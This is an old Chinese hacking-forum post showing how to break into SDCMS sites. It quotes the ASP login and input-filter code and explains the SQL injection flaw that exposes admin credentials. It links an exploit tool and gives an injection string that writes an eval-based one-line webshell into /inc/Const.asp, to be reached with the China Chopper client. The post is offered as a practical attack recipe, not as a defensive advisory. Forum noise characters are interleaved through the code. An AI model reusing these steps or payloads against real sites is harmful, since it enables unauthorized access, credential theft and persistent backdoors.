找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3539|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥7 [& j2 t& U2 h6 u" c
漏洞文件:后台目录/index.asp$ v0 p. U' _  z! v& d) s
7 W3 t+ K! O0 }, l: ?6 x
Sub Check1 q* Y& s) B8 n6 K9 u
    Dim username,password,code,getcode,Rs
0 A. F* n3 C* I2 ]4 s    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
0 q% _8 d7 E* I# u    username=FilterText(Trim(Request.Form("username")),1)5 l& m5 g' y, H5 |7 Y' A- f
    password=FilterText(Trim(Request.Form("password")),1)0 m. E" v8 T3 o3 F/ i
    code=Trim(Request.Form("yzm"))" |1 g9 G: X/ q! Z# \  |* B  o
    getcode=Session("SDCMSCode")7 _4 A' n( s3 G+ ~- S% _, J
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died: L: Y9 v/ B2 m7 m% s. W' q
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied- g# V, |& i7 C# x- F/ [5 [, n
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
  M7 N9 a5 `. X$ o5 d9 `& x    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
  R) X+ H$ }% ?& Y. ?3 u    IF username="" or password="" Then0 K/ i9 S+ p; Y2 x' z6 u
        Echo "用户名或密码不能为空"ied
1 t' i' C& J! z# w    Else# D4 L6 M6 M" @% q% H
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")) N  S5 H- `$ ]0 |/ E" V
        IF Rs.Eof Then2 t' x1 R3 v+ j/ V
            AddLog username,GetIp,"登录失败",10 H0 o9 i9 x6 s* J: Z  s
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"8 t' X8 n" L$ @0 C* }
        Else# D7 w8 [4 F1 i& t
            Add_Cookies "sdcms_id",Rs(0). d) o3 b& X, Z" h) n1 t& U
            Add_Cookies "sdcms_name",username( H% Z5 e2 X) }# m/ _. M' P& ?
            Add_Cookies "sdcms_pwd",Rs(2)7 u/ g8 v) Z4 ~& G0 Z6 s6 b" m
            Add_Cookies "sdcms_admin",Rs(3)
( L# s$ t1 O+ y            Add_Cookies "sdcms_alllever",Rs(4)
- _: Y+ K/ W! ]: x! P6 I4 v            Add_Cookies "sdcms_infolever",Rs(5)  C9 j4 h) G% l  e: @6 ?2 a* x
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
: B6 f; n0 }' c1 x# C5 s, |            AddLog username,GetIp,"登录成功",1
& F! l- i! ~- }: o; G4 D, s            '自动删除30天前的Log记录
# h) O, C* V  r  O! L- [            IF Sdcms_DataType Then
" _5 o7 C5 f& w* N5 ~                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
& C- B, M8 L( @            Else
- w* |( J; Q( x, b2 \. T                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
( q. n* _. W0 C: X" h. c6 t& }. R; z            End IF
+ R  _) \) F5 Q            Go("sdcms_index.asp")
' M3 D, O0 F. m& Y* t% w1 h        End IF
4 ?- x- _- i; ?9 l2 g        Rs.Close2 c2 R7 A2 f' u* M. B2 H' \9 n
        Set Rs=Nothing6 D2 a# H$ g7 f0 j) a( U
    End IF
( f. u  a) R6 B2 ^$ d* ~- X3 z; \End Sub4 G' Y5 \2 e  W1 n, }9 K
& u1 J% z6 K1 @( n+ E" F
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码9 O; j: g9 P$ w* O" O% r" w1 m; a
2 n" X! m! g- W2 l8 Z: b
Function FilterText(ByVal t0,ByVal t1)
; c9 d- B6 ^$ `4 q, S    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function, ~& U4 X  C: P& a
    t0=Trim(t0): D1 ^( I* x/ j+ @8 z
    Select Case t10 v# q  [" i+ l3 |1 u. s& U
        Case "1", k5 }  k) a8 F3 j4 J; a
            t0=Replace(t0,Chr(32),""); I& l# M1 ?# q; R, k
            t0=Replace(t0,Chr(13),"")
3 \) s, [) V3 M0 b. H+ l5 n            t0=Replace(t0,Chr(10)&Chr(10),"")
, d6 ^* F3 A; J3 f* H            t0=Replace(t0,Chr(10),"")# N8 t/ F! j7 q% h
        Case "2"
6 b& b7 m6 e' p6 [            t0=Replace(t0,Chr(8),"")'回格8 p% T: H5 C7 X9 ~" d
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
) ~0 U" i; B6 @! ?& T            t0=Replace(t0,Chr(10),"")'换行- [# }& m3 V) l" m4 N  r8 t8 w
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)% f4 g( J2 C$ L7 H2 G+ r
            t0=Replace(t0,Chr(12),"")'换页
) n: f1 |( f: N3 b* b            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合7 Q: a, Z8 P8 G* }" v
            t0=Replace(t0,Chr(22),"")
% {, K' z8 g" a" m            t0=Replace(t0,Chr(32),"")'空格 SPACE
+ }2 Z# f$ R' n  _            t0=Replace(t0,Chr(33),"")'!- m+ [4 a$ S! s
            t0=Replace(t0,Chr(34),"")'"
- Y3 I1 E, d+ i9 z8 Y            t0=Replace(t0,Chr(35),"")'#; H0 k0 l1 y$ H
            t0=Replace(t0,Chr(36),"")'$
8 k/ I- E. z6 |' B            t0=Replace(t0,Chr(37),"")'%
  D: X6 e4 o: ^: c6 o            t0=Replace(t0,Chr(38),"")'&
# Y9 k, e0 s1 `) H/ M            t0=Replace(t0,Chr(39),"")''
) Z/ ?+ h& y) R# w% c2 m            t0=Replace(t0,Chr(40),"")'(
6 x- z' y" F/ [& T  \$ G5 y# Q            t0=Replace(t0,Chr(41),"")')9 y: s( S5 l" w# @4 m* T
            t0=Replace(t0,Chr(42),"")'*( f$ ?% f6 ^& v# ]  P5 A3 K# \
            t0=Replace(t0,Chr(43),"")'+
" p* |3 q' Y+ o9 D            t0=Replace(t0,Chr(44),"")',# U7 s6 I5 H* ~9 t& B7 G
            t0=Replace(t0,Chr(45),"")'-, \. N' Y6 ~/ P6 Q2 @) n
            t0=Replace(t0,Chr(46),"")'.4 \! w9 J1 t& c+ V( l8 b0 W
            t0=Replace(t0,Chr(47),"")'/
$ Z% u, E1 n9 h            t0=Replace(t0,Chr(58),"")':
( p  e" i# S& e; q1 Y% r: s1 ]( `            t0=Replace(t0,Chr(59),"")';9 ~# e3 b! Y" l3 {* r- f3 ]9 N
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
# s+ `$ r, X4 O9 b            t0=Replace(t0,Chr(63),"")'?; K* I$ S. s. k  @+ F
            t0=Replace(t0,Chr(64),"")'@
4 I" m! ?# e2 O! ]: V            t0=Replace(t0,Chr(91),"")'\  Z: J9 R& G& X) I2 M3 b3 U
            t0=Replace(t0,Chr(92),"")'\
7 I# A8 y( Q2 R* m0 y, C            t0=Replace(t0,Chr(93),"")']* ^7 P& c+ }9 O
            t0=Replace(t0,Chr(94),"")'^( `2 ]4 l0 c. N' ]; m; Q
            t0=Replace(t0,Chr(95),"")'_
5 A) t: q1 b9 f1 F: t2 }9 ]& r            t0=Replace(t0,Chr(96),"")'`  [4 ?9 _! V4 b
            t0=Replace(t0,Chr(123),"")'{4 C4 Q9 U2 q" W3 e  g& b& X; h
            t0=Replace(t0,Chr(124),"")'|3 S& ]- ~! k/ O, R4 L2 u( b' t
            t0=Replace(t0,Chr(125),"")'}1 J: m1 n6 ^9 R7 p  T- Q, {$ x
            t0=Replace(t0,Chr(126),"")'~
$ o; r' a0 U& \9 f; O: e    Case Else
6 T2 r& b  n6 U7 [        t0=Replace(t0, "&", "&")
8 r, X8 |; I' j        t0=Replace(t0, "'", "'"): F$ x' B- r, E! k. B' O: ~
        t0=Replace(t0, """", """)
7 b+ k( K0 e' N8 i) K+ L5 q        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")% ~$ x5 s/ g5 j+ n* Z, R7 X. H
    End Select* v2 n  F, _( ?$ s& w
    IF Instr(Lcase(t0),"expression")>0 Then
1 q/ u: F5 Z4 \9 P; p% p        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
6 G$ y& W5 @3 v7 d    End If
9 C5 U3 `, Z: r. O- s    FilterText=t0
* r/ S7 Q) y$ v, `( V) _End Function
6 \0 h2 }% j2 H$ ]* J/ k: O' D0 r( @6 m8 C
看到没。直接参数是1 只过滤0 ^3 Q) t* z$ t  t; e) i
                        t0=Replace(t0,Chr(32)," ")! R0 r8 T# R3 p1 n
                        t0=Replace(t0,Chr(13),"")# f3 F. O) ?0 S9 ]4 S
                        t0=Replace(t0,Chr(10)&Chr(10),") u- q+ V0 y0 G% Y4 [
")
' v% ]; k) e# `8 v2 H                        t0=Replace(t0,Chr(10),"& Y  `$ Y. B/ r' A) i
")
5 ]3 M: g/ W+ ?# U  q1 y6 r4 ~漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
8 f* g5 b8 R5 y$ F: t4 E/ O0 eEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
4 b- C" D  v! }8 C! g6 I; J  j7 x; `' l) t. y# V( m) f) a1 ^
测试:
1 a1 v# M! ^/ s' q: g) h4 ?
5 e' m4 }, D8 C7 ?8 Z1 A# q& H# |% J% y! {5 E9 H
现在输入工具上验证码,然后点OK) |1 Y1 Z; s6 u6 E' [4 K- j2 ?

3 z" O1 {) M- }! I- M5 z; \& _7 g, {2 b
看到我们直接进入后台管理界面了,呵呵!- h4 M2 g0 w# z3 d9 h0 T

5 R* _; F8 u, G1 M# e# O
3 b) E! c( l6 w7 _  I1 H+ |# a+ W& S; r" Z9 Q
这样直接进入后台了。。。。! y; t! t3 Q4 h1 S4 K0 O5 {

' ^& f: I$ T" B ' O9 f% _2 u; z( v: C  ?: r4 w0 K
/ O9 n: p5 U5 ~% r1 ?1 c" r
SDCMS提权:( d( f  s: ^  w( x

4 z( w# W( |' j; F+ G9 j方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
2 Z) F3 d$ h4 h5 V
" ?. y- b* _1 E" S& |7 m" e. l
0 U. h) S1 o# m1 {
OK,现在用菜刀连接下!
' A) Y. a' S& ~+ Z" z( L- s8 H6 d. B) ?+ s
$ d# k' ~* Y- K5 W% ~1 J- j5 O

3 g! c) M  @& t; I" K& p
( R9 J: e$ f! S
/ I5 H$ @* z) L3 {1 L0 q& A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表